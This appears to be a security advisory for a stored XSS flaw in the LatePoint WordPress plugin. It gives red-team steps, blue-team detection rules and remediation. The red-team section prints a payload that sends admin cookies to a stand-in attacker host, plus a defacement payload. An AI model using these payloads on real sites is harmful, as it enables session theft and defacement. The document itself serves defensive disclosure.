CVE-2025-6815

Executive Summary

CVE-2025-6815 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the LatePoint – Calendar Booking Plugin for Appointments and Events for WordPress. The flaw resides in the service[name] parameter, which is insufficiently sanitized and escaped before being stored and later rendered in the admin interface. An authenticated attacker with administrator-level privileges can inject arbitrary web scripts that execute whenever a user (including other admins) accesses the compromised page. The vulnerability is limited to multi-site WordPress installations or environments where the unfiltered_html capability has been disabled for administrators. The CVSS score is 5.5 (Medium), reflecting the need for high privileges and user interaction, but the potential for persistent defacement or credential theft remains significant.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a third-party component, it introduces risk into the WordPress supply chain. Administrators should verify the integrity of the plugin package and ensure no unauthorized modifications have been made. The lack of a patch from the vendor (Latepoint) means that sites running version 5.1.94 or earlier are exposed until an update is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via HTTP requests.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond standard web access.
• Privileges Required (PR): High (H) – The attacker must have administrator-level access to the WordPress site.
• User Interaction (UI): Required (R) – A user must visit the injected page for the script to execute.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Script injection can modify content or behavior.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but in multi-site environments or hardened installations, this vulnerability can be leveraged for persistent cross-site scripting attacks.

Deep Dive & Mechanics

The vulnerability exists in the service[name] parameter used when creating or editing a service within the LatePoint plugin. The plugin fails to properly sanitize user input and escape output when rendering the service name in the admin dashboard. An administrator can inject malicious JavaScript code into the service name field. This input is stored in the WordPress database and later displayed without proper escaping, causing the script to execute in the browser of any user who views the service list or edit page.

The attack flow:

1. An authenticated admin navigates to the LatePoint service management page.
2. The attacker enters a payload such as <script>alert('XSS')</script> into the service[name] field.
3. The plugin stores the payload in the wp_postmeta or custom table.
4. When another admin (or the same admin) views the service list, the payload is rendered and executed.

The vulnerability is particularly dangerous in multi-site installations where super-admins may have elevated privileges, or in environments where unfiltered_html is disabled, forcing all users to rely on plugin-level sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (LatePoint <= 5.1.94):

// In service creation/update handler
$service_name = $_POST['service']['name'];
// No sanitization or escaping
update_post_meta($service_id, 'latepoint_service_name', $service_name);

Patched Code (Hypothetical fix):

// In service creation/update handler
$service_name = sanitize_text_field($_POST['service']['name']);
// Escape output when rendering
echo esc_html($service_name);

The patch would involve using WordPress's built-in sanitize_text_field() on input and esc_html() on output to neutralize any HTML or JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with LatePoint plugin version <= 5.1.94.
• Administrator credentials (e.g., admin / password).
• Multi-site enabled or unfiltered_html disabled.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to wp-admin/admin.php?page=latepoint_services.
3. Click "Add New Service" or edit an existing one.
4. In the "Service Name" field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the service.
6. When any admin views the service list, the script executes, exfiltrating cookies to the attacker's server.

Alternative Payload (Defacement):

<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>'</script>

Blue Team

Detection Steps:

1. Monitor for unusual POST requests to wp-admin/admin-ajax.php or service management pages with suspicious service[name] parameters.
2. Review WordPress database for stored XSS payloads in wp_postmeta where meta_key contains latepoint_service_name.
3. Use the YARA and Sigma rules provided in the Detection Engineering section to scan logs and files.

Mitigation:

• Disable the plugin until a patch is available.
• Restrict admin access to trusted users only.
• Enable Web Application Firewall (WAF) rules to block XSS payloads in POST parameters.

Indicators of Compromise (IOCs)

• File Indicators:
  • Modified wp_postmeta entries with meta_key = latepoint_service_name containing <script> tags.
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
  • POST requests to /wp-admin/admin.php?page=latepoint_services with service[name] containing encoded JavaScript.
• Log Indicators:
  • WordPress debug log entries showing unexpected HTML in service names.
  • Web server access logs with service[name] parameter containing <script> or onerror= patterns.

Detection Engineering

YARA Rule

rule Detect_LatePoint_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in LatePoint service names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6815"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $meta_key = "latepoint_service_name"
    condition:
        $meta_key and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: LatePoint Stored XSS via service[name] Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-6815 by injecting XSS payloads into the service[name] parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=latepoint_services'
        cs-uri-query|contains: 'service[name]='
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in service names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6815 LatePoint Stored XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"page=latepoint_services"; http_uri; content:"service[name]="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the LatePoint plugin until a patched version is released.
2. Review and sanitize all existing service names in the database using a script:

   UPDATE wp_postmeta SET meta_value = REPLACE(meta_value, '<script>', '') WHERE meta_key = 'latepoint_service_name';
   

3. Restrict admin access to only trusted users and enforce strong passwords.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enable unfiltered_html only for super-admins in single-site installations.

Workaround:

• For multi-site installations, disable the plugin network-wide until patched.
• Use a security plugin like Wordfence to add an additional layer of input sanitization.

Valters IT
Securing Digital Frontiers